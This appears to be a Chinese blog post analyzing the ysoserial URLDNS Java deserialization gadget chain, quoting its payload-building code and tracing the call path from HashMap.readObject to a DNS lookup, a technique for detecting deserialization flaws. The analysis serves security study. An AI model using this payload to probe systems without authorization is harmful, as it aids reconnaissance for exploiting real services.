1、前言:
- URLDNS是ysoserial项目的一个利用链名称,其本质是发起一次DNS请求,常用于检测是否存在反序列化漏洞。
- 优点:使用java内置类,无需依赖第三方库
2、整体利用链如下:
1. HashMap->readObject() #入口类
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()ysoserial的URLDNS利用核心代码如下:
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
分析:为什么要使用hashMap作为入口类?
入口类:
- 实现Serializable接口,重写readObject方法
- 接受的参数类型广泛;jdk自带最佳
hashMap类都满足上述条件,可作为入口类
3、动态调试:
直接进入HashMap 类的 readObject ⽅法,在此处下断点:
putVal(hash(key), key, value, false, false)
该方法用于将键值对插入到哈希表中,hash(key) 用于计算键的 hash值
跟进hash(key)方法,为什么跟进此方法?因为是在hashcode的计算上触发了dns请求。
继续跟进key.hashCode方法。
继续跟进hander.hashCode方法。来到URLStreamHandler->hashCode。在这里我们可以看到getHostAddress()方法。
继续跟进getHostAddress()方法,我们可以看到InetAddress.getByName(host)方法。其作用是:如果host是主机名,getByName会尝试通过DNS查询解析其对应的IP地址
4、总结
构造这个利用链,只需要初始化⼀个java.net.URL对象,作为key放在java.util.HashMap中(DNS请求是在计算key的hashCode是触发的),而vaule可以是任何实现了 Serializable 接口的对象。并且,需要将该 URL 对象的 hashCode 设置为初始值 -1,反序列化时 hashCode 会重新计算(第三张图),从而触发后续的 DNS 请求,否则 URL 对象的 hashCode() 方法将不会被调用。
参考:
https://github.com/phith0n/JavaThings?tab=readme-ov-file
https://www.bilibili.com/video/BV16h411z7o9/
评论(0)